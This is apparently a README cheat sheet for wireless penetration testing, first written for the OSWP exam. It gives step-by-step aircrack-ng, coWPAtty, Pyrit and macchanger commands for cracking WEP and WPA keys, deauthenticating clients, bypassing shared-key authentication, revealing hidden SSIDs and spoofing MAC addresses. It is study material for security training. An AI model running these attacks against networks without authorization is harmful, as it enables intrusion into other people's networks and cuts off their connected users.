This repository was originally made as a CheatSheet for OSWP Examination by Offensive Security. With the time, Offensive Security made an second version of OSWP that i haven't taken. As I'm adding sometimes Wireless Pentesting contents that I didn't learned from OSWP, and as i don't know the newest content of OSWP, I'm changing this repository as "WirelessPentesting-CheatSheet" instead of "OSWP-CheatSheet".
NOTE : Most of these attacks was tested on a Back Track 5 OS, if you are using a Kali Linux up to date or other distro, some commands can have minor changes.

To determine if we are using ieee80211 or mac80211 drivers use this command:
If it said "nl80211 not found." that mean we are using ieee80211 drivers. Else we are using mac80211 and the "iw list" output will print wireless card informations.
root@wifu:~# iw list
nl80211 not found.
To display access point names and their corresponding channel number with mac80211 drivers use the following syntax:
root@wifu:~# iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID"
SSID: wifu
DS Parameter set: channel 3
SSID: 6F36E6
DS Parameter set: channel 1
To display access point names and their corresponding channel number with ieee80211 drivers use the following syntax:
root@wifu:~# iwlist wlan0 scanning | egrep "ESSID|Channel"
ESSID:"wifu"
Channel:3
ESSID:"6F36E6"
Channel:11
To display your wireless card MAC address, use the following syntax:
root@wifu:~# macchanger -s mon0
Current MAC: <MAC address> <(Device information)>
Note : TX power depends on your country
Increse the TX power of wlan0
root@wifu:~# iw reg set B0
root@wifu:~# iwconfig wlan0 <txpower> <NmW|NdBm|off|auto>
Verify change
root@wifu:~# iwconfig wlan0
Place your wireless card into monitor mode on the channel number of the AP:
airmon-ng start <interface> <AP channel>
Start an Airodump-ng capture filtering on the AP channel and BSSID, saving the file to disk:
airodump-ng -c <AP Channel> --bssid <AP MAC> -w <capture> <interface>
Conduct a fake authentication attack against the AP:
aireplay-ng -1 0 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface>
Launch the ARP request replay attack:
aireplay-ng -3 -b <AP MAC> -h <Your MAC> <interface>
Deauthenticate the connected client to force new IV generation by the AP:
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
Once a significant number of IVs have been captured, run Aircrack-ng against the Airodump capture:
aircrack-ng <capture>
Place your wireless card into monitor mode on the AP channel:
airmon-ng start <interface> <AP channel>
Start a capture dump, filtering on the AP channel and BSSID, saving the capture to a file:
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
Next, conduct a fake authentication against the access point:
aireplay-ng -0 1 -e <ESSID> -a <AP MAC> -w <capture> <interface>
Launch the interactive packet replay attack looking for ARP packets coming from the AP:
aireplay-ng -2 -b <AP MAC> -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 <interface>
Once enough IVs have been captured, crack the WEP key:
aircrack-ng -z <capture>
Place your wireless card into monitor mode on the channel number of the AP:
airmon-ng start <interface> <AP channel>
Conduct a fake authentication attack against the AP:
aireplay-ng -1 0 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface>
Run attack 4, the KoreK chopchop attack (or attack 5, the fragmentation attack):
aireplay-ng -4 -b <AP MAC> -h <Your MAC> <interface>
aireplay-ng -5 -b <AP MAC> -h <Your MAC> <interface>
Craft an ARP request packet using packetforge-ng:
packetforge-ng -0 -a <AP MAC> -h <Your MAC> -l <Source IP> -k <Dest IP> -y <xor filename> -w <output filename>
Inject the packet into the network using attack 2, the interactive packet replay attack:
aireplay-ng -2 -r <packet filename> <interface>
Crack the WEP key using Aircrack-ng:
aircrack-ng <capture>
Place your wireless card into monitor mode on the channel number of the AP:
airmon-ng start <interface> <AP channel>
Start an Airodump-ng capture, filtering on the AP channel and BSSID, saving the capture:
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
Deauthenticate the connected client to capture the PRGA XOR keystream:
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
Conduct a fake shared key authentication using the XOR keystream:
aireplay-ng -1 0 -e <ESSID> -y <keystreamfile> -a <AP MAC> -h <Your MAC> <interface>
Launch the ARP request replay attack:
aireplay-ng -3 -b <AP MAC> -h <Your MAC> <interface>
Deauthenticate the victim client again to force the generation of an ARP packet:
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
Once IVs are being generated by the AP, run Aircrack-ng against the capture:
aircrack-ng <capture>
During a Sharing Key Authentication Bypass attack, if once you deauthenticate a client you got a "Broken SKA" message instead of the "140 bytes keystream : " into your Airodump output. Try to restart the Airodump-ng capture and deauthenticate another client.
Start by placing your wireless card into monitor mode on the channel number of the AP:
airmon-ng start <interface> <AP channel>
Start an Airodump capture, filtering on the AP channel and BSSID, saving the capture to disk:
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
Deauthenticate a connected client to force it to complete the 4-way handshake:
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
Crack the WPA password with Aircrack-ng :
aircrack-ng -w <wordlist> <capture>
Alternatively, if you have an Airolib-ng database, it can be passed to Aircrack:
aircrack-ng -r <db name> <capture>
Place your wireless card into monitor mode on the channel number of the AP:
airmon-ng start <interface> <AP channel>
Start an Airodump capture, filtering on the AP channel and BSSID, saving the capture to disk:
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
Force a client to reconnect and complete the 4-way handshake by running a deauthentication attack against it:
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
Once a handshake has been captured, change to the John the Ripper directory and pipe in the mangled words into Aircrack-ng to obtain the WPA password:
./john --wordlist=<wordlist> --rules --stdout | aircrack-ng -e <ESSID> -w - <capture>
Place your wireless card into monitor mode on the channel number of the AP:
airmon-ng start <interface> <AP channel>
Start an Airodump capture, filtering on the AP channel and BSSID, saving the file to disk:
airodump-ng -c <AP channel> --bssid <AP MAC> -w <capture> <interface>
Deauthenticate a connected client to force it to complete the 4-way handshake:
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
To crack the WPA password with coWPAtty in wordlist mode:
cowpatty -r <capture> -f <wordlist> -2 -s <ESSID>
To use rainbow table mode with coWPAtty, first generate the hashes:
genpmk -f <wordlist> -d <hashes filename> -s <ESSID>
Run coWPAtty with the generated hashes to recover the WPA password:
cowpatty -r <capture> -d <hashes filename> -2 -s <ESSID>
Place your wireless card into monitor mode on the channel number of the AP:
airmon-ng start <interface> <AP channel>
Use Pyrit to sniff on the monitor mode interface, saving the capture to a file:
pyrit -r <interface> -o <capture> stripLive
Deauthenticate a connected client to force it to complete the 4-way handshake:
aireplay-ng -0 1 -a <AP MAC> -c <Client MAC> <interface>
Run Pyrit in dictionary mode to crack the WPA password:
pyrit -r <capture> -i <wordlist> -b <AP MAC> attack_passthrough
To use Pyrit in database mode, begin by importing your wordlist:
pyrit -i <wordlist> import_passwords
Add the ESSID of the access point to the Pyrit database:
pyrit -e <ESSID> create_essid
Generate the PMKs for the ESSID:
pyrit -r <capture> -b <AP MAC> attack_db
Set your wireless card in monitor mode.
sudo airmon-ng start <wireless card>
Monitor access point.
sudo airodump-ng <monitor wireless card>
Detect the BSSID of the hidden ESSID that you are targeting, rerun the scan specifying that BSSID and the channel.
sudo airodump-ng -c <channel> --bssid <bssid> <monitor wireless card>
Now you can deauth a device.
sudo aireplay-ng -0 15 -c <client bssid> -a <access point bssid> <monitor wireless card>
Set your wirelss card in monitor mode.
sudo airmon-ng start <wireless card>
Monitor access point.
airodump-ng -c <channel> --bssid <bssid> -w <output file> <monitor wireless card>
Deauthenticate a client and remember his MAC address.
aireplay-ng -0 0 -a <BSSID> -c <Client> <monitor wireless card>
Shutdown you'r monitor interface.
ifconfig <monitor wireless card> down
Attribute the Client MAC address to your wireless card.
macchanger --mac <deauthed client MAC address> <monitor wirelss card>
Power up you'r wireless card.
ifconfig <monitor wireless card>
Launch you'r attack using the stolen MAC address. ARP Replay request in this case.
aireplay-ng -3 -b <bssid> -h <stolen MAC address> <monitor wireless card>
